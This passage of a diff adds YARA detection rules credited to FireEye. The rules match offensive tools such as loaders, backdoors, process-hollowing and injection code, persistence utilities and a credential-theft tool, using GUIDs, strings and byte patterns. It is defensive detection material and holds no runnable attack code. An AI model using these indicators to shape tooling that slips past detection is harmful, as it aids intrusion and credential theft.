+        $ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00"
+        $ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00"
+        $tb1 = "\x00SharpSploit.Execution.DynamicInvoke\x00"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule HackTool_MSIL_PrepShellcode_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'PrepShellcode' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "d16ed275-70d5-4ae5-8ce7-d249f967616c" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Downloader_Win32_REDFLARE_1
+{
+    meta:
+        date_created = "2020-11-27"
+        date_modified = "2020-11-27"
+        md5 = "05b99d438dac63a5a993cea37c036673"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $const = "Cookie: SID1=%s" fullword
+        $http_req = { 00 00 08 80 81 3D [4] BB 01 00 00 75 [1-10] 00 00 80 00 [1-4] 00 10 00 00 [1-4] 00 20 00 00 89 [1-10] 6A 00 8B [1-8] 5? 6A 00 6A 00 6A 00 8B [1-8] 5? 68 [4] 8B [1-8] 5? FF 15 [4-40] 6A 14 E8 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule Loader_MSIL_WMIRunner_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIRunner' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "6cc61995-9fd5-4649-b3cc-6f001d60ceda" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_SharpStomp_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharpStomp project."
+        md5 = "83ed748cd94576700268d35666bf3e01"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $typelibguid1 = "41f35e79-2034-496a-8c82-86443164ada2" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule Tool_MSIL_SharpGrep_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGrep' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "f65d75b5-a2a6-488f-b745-e67fc075f445" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Dropper_HTA_WildChild_1
+{
+    meta:
+        description = "This rule looks for strings present in unobfuscated HTAs generated by the WildChild builder."
+        md5 = "3e61ca5057633459e96897f79970a46d"
+        rev = 5
+        author = "FireEye"
+    strings:
+        $s1 = "processpath" ascii wide
+        $s2 = "v4.0.30319" ascii wide
+        $s3 = "v2.0.50727" ascii wide
+        $s4 = "COMPLUS_Version" ascii wide
+        $s5 = "FromBase64Transform" ascii wide
+        $s6 = "MemoryStream" ascii wide
+        $s7 = "entry_class" ascii wide
+        $s8 = "DynamicInvoke" ascii wide
+        $s9 = "Sendoff" ascii wide
+        $script_header = "<script language=" ascii wide
+    condition:
+        $script_header at 0 and all of ($s*)
+}
+rule APT_Builder_PY_REDFLARE_2
+{
+    meta:
+        date_created = "2020-12-01"
+        date_modified = "2020-12-01"
+        md5 = "4410e95de247d7f1ab649aa640ee86fb"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $1 = "<510sxxII"
+        $2 = "0x43,0x00,0x3a,0x00,0x5c,0x00,0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,"
+        $3 = "parsePluginOutput"
+    condition:
+        all of them and #2 == 2
+}
+rule APT_Loader_Win32_DShell_3
+{
+    meta:
+        date_created = "2020-11-27"
+        date_modified = "2020-11-27"
+        md5 = "12c3566761495b8353f67298f15b882c"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 }
+        $ss1 = "\x00CreateThread\x00"
+        $ss2 = "base64.d" fullword
+        $ss3 = "core.sys.windows" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule APT_Trojan_Linux_REDFLARE_1
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        md5 = "79259451ff47b864d71fb3f94b1774f3, 82773afa0860d668d7fe40e3f22b0f3e"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $s1 = "find_applet_by_name" fullword
+        $s2 = "bb_basename" fullword
+        $s3 = "hk_printf_chk" fullword
+        $s4 = "runCommand" fullword
+        $s5 = "initialize" fullword
+    condition:
+        (uint32(0) == 0x464c457f) and all of them
+}
+rule Loader_MSIL_WildChild_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the WildChild project."
+        md5 = "7e6bc0ed11c2532b2ae7060327457812"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $typelibguid1 = "2e71d5ff-ece4-4006-9e98-37bb724a7780" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule MSIL_Launcher_DUEDLLIGENCE_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'DUEDLLIGENCE' project."
+        md5 = "a91bf61cc18705be2288a0f6f125068f"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "73948912-cebd-48ed-85e2-85fcd1d4f560" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Backdoor_Win_GORAT_2
+{
+    meta:
+        description = "Verifies that the sample is a Windows PE that is less than 10MB in size and has the Go build ID strings. Then checks for various strings known to be in the Gorat implant including strings used in C2 json, names of methods, and the unique string 'murica' used in C2 comms. A check is done to ensure the string 'rat' appears in the binary over 1000 times as it is the name of the project used by the implant and is present well over 2000 times."
+        md5 = "f59095f0ab15f26a1ead7eed8cdb4902"
+        rev = 7
+        author = "FireEye"
+    strings:
+        $go1 = "go.buildid" ascii wide
+        $go2 = "Go build ID:" ascii wide
+        $json1 = "json:\"pid\"" ascii wide
+        $json2 = "json:\"key\"" ascii wide
+        $json3 = "json:\"agent_time\"" ascii wide
+        $json4 = "json:\"rid\"" ascii wide
+        $json5 = "json:\"ports\"" ascii wide
+        $json6 = "json:\"agent_platform\"" ascii wide
+        $rat = "rat" ascii wide
+        $str1 = "handleCommand" ascii wide
+        $str2 = "sendBeacon" ascii wide
+        $str3 = "rat.AgentVersion" ascii wide
+        $str4 = "rat.Core" ascii wide
+        $str5 = "rat/log" ascii wide
+        $str6 = "rat/comms" ascii wide
+        $str7 = "rat/modules" ascii wide
+        $str8 = "murica" ascii wide
+        $str9 = "master secret" ascii wide
+        $str10 = "TaskID" ascii wide
+        $str11 = "rat.New" ascii wide
+    condition:
+        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 10MB and all of ($go*) and all of ($json*) and all of ($str*) and #rat > 1000
+}
+rule APT_Loader_Win64_REDFLARE_2
+{
+    meta:
+        date_created = "2020-11-27"
+        date_modified = "2020-11-27"
+        md5 = "100d73b35f23b2fe84bf7cd37140bf4d"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $alloc = { 45 8B C0 33 D2 [2-6] 00 10 00 00 [2-6] 04 00 00 00 [1-6] FF 15 [4-60] FF 15 [4] 85 C0 [4-40] 20 00 00 00 [4-40] FF 15 [4] 85 C0 }
+        $inject = { 83 F8 01 [2-20] 33 C0 45 33 C9 [3-10] 45 33 C0 [3-10] 33 D2 [30-100] FF 15 [4] 85 C0 [20-100] 01 00 10 00 [0-10] FF 15 [4] 85 C0 [4-30] FF 15 [4] 85 C0 [2-20] FF 15 [4] 83 F8 FF }
+        $s1 = "ResumeThread" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule HackTool_MSIL_SharPersist_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPersist project."
+        md5 = "98ecf58d48a3eae43899b45cec0fc6b7"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid1 = "9D1B853E-58F1-4BA5-AEFC-5C221CA30E48" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule APT_Backdoor_Win_DShell_1
+{
+    meta:
+        description = "This rule is looking for sections of an integer array which contains the encoded payload along with a selection of Windows functions that are present within a DShell payload"
+        md5 = "152fc2320790aa16ef9b6126f47c3cca"
+        rev = 4
+        author = "FireEye"
+    strings:
+        $e0 = ",0,"
+        $e1 = ",1,"
+        $e2 = ",2,"
+        $e3 = ",3,"
+        $e4 = ",4,"
+        $e5 = ",5,"
+        $e6 = ",6,"
+        $e7 = ",7,"
+        $e8 = ",8,"
+        $e9 = ",9,"
+        $e10 = ",10,"
+        $e11 = ",11,"
+        $e12 = ",12,"
+        $e13 = ",13,"
+        $e14 = ",14,"
+        $e15 = ",15,"
+        $e16 = ",16,"
+        $e17 = ",17,"
+        $e18 = ",18,"
+        $e19 = ",19,"
+        $e20 = ",20,"
+        $e21 = ",21,"
+        $e22 = ",22,"
+        $e23 = ",23,"
+        $e24 = ",24,"
+        $e25 = ",25,"
+        $e26 = ",26,"
+        $e27 = ",27,"
+        $e28 = ",28,"
+        $e29 = ",29,"
+        $e30 = ",30,"
+        $e31 = ",31,"
+        $e32 = ",32,"
+        $e33 = ",33,"
+        $e34 = ",34,"
+        $e35 = ",35,"
+        $e36 = ",36,"
+        $e37 = ",37,"
+        $e38 = ",38,"
+        $e39 = ",39,"
+        $e40 = ",40,"
+        $e41 = ",41,"
+        $e42 = ",42,"
+        $e43 = ",43,"
+        $e44 = ",44,"
+        $e45 = ",45,"
+        $e46 = ",46,"
+        $e47 = ",47,"
+        $e48 = ",48,"
+        $e49 = ",49,"
+        $e50 = ",50,"
+        $e51 = ",51,"
+        $e52 = ",52,"
+        $e53 = ",53,"
+        $e54 = ",54,"
+        $e55 = ",55,"
+        $e56 = ",56,"
+        $e57 = ",57,"
+        $e58 = ",58,"
+        $e59 = ",59,"
+        $e60 = ",60,"
+        $e61 = ",61,"
+        $e62 = ",62,"
+        $e63 = ",63,"
+        $e64 = ",64,"
+        $s1 = "GetACP"
+        $s2 = "GetOEMCP"
+        $s3 = "GetCPInfo"
+        $s4 = "WriteConsoleA"
+        $s5 = "FindFirstFileA"
+        $s6 = "FileTimeToDosDateTime"
+        $s7 = "FindNextFileA"
+        $s8 = "GetStringTypeA"
+        $s9 = "GetFileType"
+        $s10 = "CreateFileA"
+        $s11 = "GlobalAlloc"
+        $s12 = "GlobalFree"
+        $s13 = "GetTickCount"
+        $s14 = "GetProcessHeap"
+        $s15 = "UnhandledExceptionFilter"
+        $s16 = "ExitProcess"
+        $s17 = "GetModuleFileNameA"
+        $s18 = "LCMapStringA"
+        $s19 = "GetLocalTime"
+        $s20 = "CreateThread"
+        $s21 = "ExitThread"
+        $s22 = "SetConsoleCtrlHandler"
+        $s23 = "FreeEnvironmentStringsA"
+        $s24 = "GetVersion"
+        $s25 = "GetEnvironmentStrings"
+        $s26 = "SetHandleCount"
+        $s27 = "SetFilePointer"
+        $s28 = "DeleteFileA"
+        $s29 = "HeapAlloc"
+        $s30 = "HeapReAlloc"
+        $s31 = "HeapFree"
+        $s32 = "GetCommandLineA"
+        $s33 = "GetThreadContext"
+        $s34 = "SuspendThread"
+        $s35 = "FindFirstFileW"
+        $s36 = "FindNextFileW"
+        $s37 = "FindClose"
+        $s38 = "CreateSemaphoreA"
+        $s39 = "ReleaseSemaphore"
+        $s40 = "ExpandEnvironmentStringsW"
+        $s41 = "lstrlenW"
+        $s42 = "GetModuleHandleA"
+        $s43 = "GetEnvironmentVariableA"
+        $s44 = "RtlCaptureContext"
+        $s45 = "GlobalMemoryStatus"
+        $s46 = "VirtualAlloc"
+        $s47 = "Sleep"
+        $s48 = "SystemTimeToTzSpecificLocalTime"
+        $s49 = "TzSpecificLocalTimeToSystemTime"
+        $s50 = "GetTimeZoneInformation"
+        $s51 = "TryEnterCriticalSection"
+        $s52 = "LoadLibraryA"
+        $s53 = "VirtualFree"
+        $s54 = "GetExitCodeThread"
+        $s55 = "WaitForSingleObject"
+        $s56 = "ResumeThread"
+        $s57 = "DuplicateHandle"
+        $s58 = "GetCurrentProcess"
+        $s59 = "GetCurrentThread"
+        $s60 = "GetCurrentThreadId"
+        $s61 = "InitializeCriticalSection"
+        $s62 = "DeleteCriticalSection"
+        $s63 = "SwitchToThread"
+        $s64 = "LeaveCriticalSection"
+        $s65 = "EnterCriticalSection"
+        $s66 = "FormatMessageW"
+        $s67 = "SetLastError"
+        $s68 = "GetEnvironmentVariableW"
+        $s69 = "FreeEnvironmentStringsW"
+        $s70 = "GetEnvironmentStringsW"
+        $s71 = "SetEnvironmentVariableW"
+        $s72 = "GetSystemInfo"
+        $s73 = "QueryPerformanceFrequency"
+        $s74 = "QueryPerformanceCounter"
+        $s75 = "CreateProcessW"
+        $s76 = "GetStdHandle"
+        $s77 = "GetHandleInformation"
+        $s78 = "SetHandleInformation"
+        $s79 = "WriteFile"
+        $s80 = "GetConsoleOutputCP"
+        $s81 = "FreeLibrary"
+        $s82 = "GetConsoleScreenBufferInfo"
+        $s83 = "MultiByteToWideChar"
+        $s84 = "RaiseException"
+        $s85 = "RtlUnwind"
+        $s86 = "GetCurrentDirectoryW"
+        $s87 = "IsDebuggerPresent"
+        $s88 = "LocalFree"
+        $s89 = "WideCharToMultiByte"
+        $s90 = "GetCommandLineW"
+        $s91 = "ReadFile"
+        $s92 = "GetFileSize"
+        $s93 = "CloseHandle"
+        $s94 = "CreateFileW"
+        $s95 = "LoadLibraryW"
+        $s96 = "GetProcAddress"
+        $s97 = "GetFileAttributesW"
+        $s98 = "GetLastError"
+        $s99 = "CommandLineToArgvW"
+        $s100 = "MessageBoxA"
+        $s101 = "RegEnumValueW"
+        $s102 = "RegEnumKeyExW"
+        $s103 = "RegDeleteValueW"
+        $s104 = "RegFlushKey"
+        $s105 = "RegQueryInfoKeyW"
+        $s106 = "RegDeleteKeyW"
+        $s107 = "RegQueryValueExW"
+        $s108 = "RegSetValueExW"
+        $s109 = "RegOpenKeyW"
+        $s110 = "RegOpenKeyExW"
+        $s111 = "RegCreateKeyExW"
+        $s112 = "RegCloseKey"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize > 500KB and 105 of ($s*) and $s112 in (3000..4000) and 40 of ($e*)
+}
+rule APT_Backdoor_Win_GORAT_4
+{
+    meta:
+        description = "Verifies that the sample is a Windows PE that is less than 10MB in size and exports numerous functions that are known to be exported by the Gorat implant. This is done in an effort to provide detection for packed samples that may not have other strings but will need to replicate exports to maintain functionality."
+        md5 = "f59095f0ab15f26a1ead7eed8cdb4902"
+        rev = 8
+        author = "FireEye"
+    strings:
+        $mz = "MZ"
+    condition:
+        $mz at 0 and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 10MB and pe.exports("MemoryCallEntryPoint") and pe.exports("MemoryDefaultAlloc") and pe.exports("MemoryDefaultFree") and pe.exports("MemoryDefaultFreeLibrary") and pe.exports("MemoryDefaultGetProcAddress") and pe.exports("MemoryDefaultLoadLibrary") and pe.exports("MemoryFindResource") and pe.exports("MemoryFindResourceEx") and pe.exports("MemoryFreeLibrary") and pe.exports("MemoryGetProcAddress") and pe.exports("MemoryLoadLibrary") and pe.exports("MemoryLoadLibraryEx") and pe.exports("MemoryLoadResource") and pe.exports("MemoryLoadString") and pe.exports("MemoryLoadStringEx") and pe.exports("MemorySizeofResource") and pe.exports("callback") and pe.exports("crosscall2") and pe.exports("crosscall_386")
+}
+rule APT_HackTool_MSIL_SHARPNFS_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnfs' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "9f67ebe3-fc9b-40f2-8a18-5940cfed44cf" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule CredTheft_MSIL_CredSnatcher_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CredSnatcher' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "370b4d21-09d0-433f-b7e4-4ebdd79948ec" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_SEATBELT_2
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SeatBelt project."
+        md5 = "9f401176a9dd18fa2b5b90b4a2aa1356"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $typelibguid1 = "AEC32155-D589-4150-8FE7-2900DF4554C8" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $typelibguid1
+}
+rule APT_Loader_Win32_DShell_1
+{
+    meta:
+        date_created = "2020-11-27"
+        date_modified = "2020-11-27"
+        md5 = "12c3566761495b8353f67298f15b882c"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 }
+        $sb2 = { FF 7? 0C B? [4-16] FF 7? 08 5? [0-12] E8 [4] 84 C0 74 05 B? 01 00 00 00 [0-16] 80 F2 01 0F 84 }
+        $ss1 = "\x00CreateThread\x00"
+        $ss2 = "base64.d" fullword
+        $ss3 = "core.sys.windows" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule APT_Loader_Win32_PGF_1
+{
+    meta:
+        date_created = "2020-11-25"
+        date_modified = "2020-11-25"
+        description = "base dlls: /lib/payload/techniques/unmanaged_exports/"
+        md5 = "383161e4deaf7eb2ebeda2c5e9c3204c"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { 6A ?? FF 15 [4-32] 8A ?? 04 [0-32] 8B ?? 89 ?? 8B [2] 89 [2] 8B [2] 89 ?? 08 8B [2] 89 [2] 8B [2] 89 [2-64] 8B [5] 83 ?? 01 89 [5] 83 [5-32] 0F B6 [1-2] 0F B6 [1-2] 33 [1-16] 88 ?? EB }
+        $sb2 = { 6A 40 [0-32] 68 00 30 00 00 [0-32] 6A 00 [0-16] FF 15 [4-32] 89 45 [4-64] E8 [4-32] 83 ?? 01 [4-80] 0F B6 [1-64] 33 [1-32] 88 [2-64] FF ( D? | 55 ) }
+        $sb3 = { 8B ?? 08 03 ?? 3C [2-32] 0F B? ?? 14 [0-32] 8D [2] 18 [2-64] 0F B? ?? 06 [3-64] 6B ?? 28 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule APT_HackTool_MSIL_SHARPDACL_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdacl' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "b3c17fb5-5d5a-4b14-af3c-87a9aa941457" ascii nocase wide
+    condition:
+        filesize < 10MB and (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_HackTool_MSIL_SHARPZIPLIBZIPPER_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpziplibzipper' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "485ba350-59c4-4932-a4c1-c96ffec511ef" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Downloader_Win64_REDFLARE_1
+{
+    meta:
+        date_created = "2020-11-27"
+        date_modified = "2020-11-27"
+        md5 = "9529c4c9773392893a8a0ab8ce8f8ce1"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $const = "Cookie: SID1=%s" fullword
+        $http_req = { 00 00 08 80 81 3D [4] BB 01 00 00 75 [1-10] 00 00 80 00 [1-4] 00 10 00 00 [1-4] 00 20 00 00 89 [6-20] 00 00 00 00 [6-20] 00 00 00 00 [2-10] 00 00 00 00 45 33 C9 [4-20] 48 8D 15 [4] 48 8B 0D [4] FF 15 [4-50] B9 14 00 00 00 E8 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule APT_Loader_Win64_MATRYOSHKA_1
+{
+    meta:
+        date_created = "2020-12-02"
+        date_modified = "2020-12-02"
+        description = "matryoshka_process_hollow.rs"
+        md5 = "44887551a47ae272d7873a354d24042d"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $sb1 = { 48 8B 45 ?? 48 89 85 [0-64] C7 45 ?? 00 00 00 00 31 ?? E8 [4-64] BA 00 10 00 00 [0-32] 41 B8 04 00 00 00 E8 [4] 83 F8 01 [2-32] BA [4] E8 }
+        $sb2 = { E8 [4] 83 F8 01 [2-64] 41 B9 00 10 00 00 [0-32] E8 [4] 83 F8 01 [2-32] 3D 4D 5A 00 00 [0-32] 48 63 ?? 3C [0-32] 50 45 00 00 [4-64] 0F B7 [2] 18 81 ?? 0B 01 00 00 [2-32] 81 ?? 0B 02 00 00 [2-32] 8B [2] 28 }
+        $sb3 = { 66 C7 45 ?? 48 B8 48 C7 45 ?? 00 00 00 00 66 C7 45 ?? FF E0 [0-64] 41 B9 40 00 00 00 [0-32] E8 [4] 83 F8 01 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule HackTool_MSIL_WMIspy_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIspy' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "5ee2bca3-01ad-489b-ab1b-bda7962e06bb" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule APT_Trojan_Win_REDFLARE_3
+{
+    meta:
+        date_created = "2020-12-01"
+        date_modified = "2020-12-01"
+        md5 = "9ccda4d7511009d5572ef2f8597fba4e,ece07daca53dd0a7c23dacabf50f56f1"
+        rev = 1
+        author = "FireEye"
+    strings:
+        $calc_image_size = { 28 00 00 00 [2-30] 83 E2 1F [4-20] C1 F8 05 [0-8] 0F AF C? [0-30] C1 E0 02 }
+        $str1 = "CreateCompatibleBitmap" fullword
+        $str2 = "BitBlt" fullword
+        $str3 = "runCommand" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Loader_Win_PGF_1
+{
+    meta:
+        description = "PDB string used in some PGF DLL samples"
+        md5 = "013c7708f1343d684e3571453261b586"
+        rev = 6
+        author = "FireEye"
+    strings:
+        $pdb1 = /RSDS[\x00-\xFF]{20}c:\\source\\dllconfig-master\\dllsource[\x00-\xFF]{0,500}\.pdb\x00/ nocase
+        $pdb2 = /RSDS[\x00-\xFF]{20}C:\\Users\\Developer\\Source[\x00-\xFF]{0,500}\Release\\DllSource\.pdb\x00/ nocase
+        $pdb3 = /RSDS[\x00-\xFF]{20}q:\\objchk_win7_amd64\\amd64\\init\.pdb\x00/ nocase
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and filesize < 15MB and any of them
+}
+rule APT_HackTool_MSIL_SHARPDNS_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdns' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        rev = 2
+        author = "FireEye"
+    strings:
+        $typelibguid0 = "d888cec8-7562-40e9-9c76-2bb9e43bb634" ascii nocase wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule Loader_MSIL_TrimBishop_1
+{
+    meta:
+        description = "This rule looks for .NET PE files that have the string 'msg' more than 60 times as well as numerous function names unique to or used by the TrimBishop tool. All strings found in RuralBishop are reversed in TrimBishop and stored in a variable with the format 'msg##'. With the exception of 'msg', 'DTrim', and 'ReverseString' the other strings referenced in this rule may be shared with RuralBishop."
+        md5 = "09bdbad8358b04994e2c04bb26a160ef"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $msg = "msg" ascii wide
+        $msil = "_CorExeMain" ascii wide
+        $str1 = "RuralBishop" ascii wide
+        $str2 = "KnightKingside" ascii wide
+        $str3 = "ReadShellcode" ascii wide
+        $str4 = "ReverseString" ascii wide
+        $str5 = "DTrim" ascii wide
+        $str6 = "QueensGambit" ascii wide
+        $str7 = "Messages" ascii wide
+        $str8 = "NtQueueApcThread" ascii wide
+        $str9 = "NtAlertResumeThread" ascii wide
+        $str10 = "NtQueryInformationThread" ascii wide
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $msil and #msg > 60 and all of ($str*)
+}
+rule Loader_Win_Generic_17
+{
+    meta:
+        date_created = "2020-11-25"
+        date_modified = "2020-11-25"
+        md5 = "562ecbba043552d59a0f23f61cea0983"
+        rev = 3
+        author = "FireEye"
+    strings:
+        $s0 = { 89 [1-16] FF 15 [4-16] 89 [1-24] E8 [4-16] 89 C6 [4-24] 8D [1-8] 89 [1-4] 89 [1-4] E8 [4-16] 89 [1-8] E8 [4-24] 01 00 00 00 [1-8] 89 [1-8] E8 [4-64] 8A [1-8] 88 }
+        $s1 = { 83 EC [1-16] 04 00 00 00 [1-24] 00 30 00 00 [1-24] FF 15 [4-16] EB [16-64] 20 00 00 00 [0-8] FF 15 [4-32] C7 44 24 ?? 00 00 00 00 [0-8] C7 44 24 ?? 00 00 00 00 [0-16] FF 15 }
+        $si1 = "fread" fullword
+        $si2 = "fwrite" fullword
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Loader_Win64_PGF_3
+{
+    meta:
+        description = "PGF payload, generated rule based on symfunc/8a2f2236fdfaa3583ab89076025c6269. Identifies dllmain_hook x64 payloads."
+        md5 = "3bb34ebd93b8ab5799f4843e8cc829fa"
+        rev = 4
+        author = "FireEye"
+    strings:
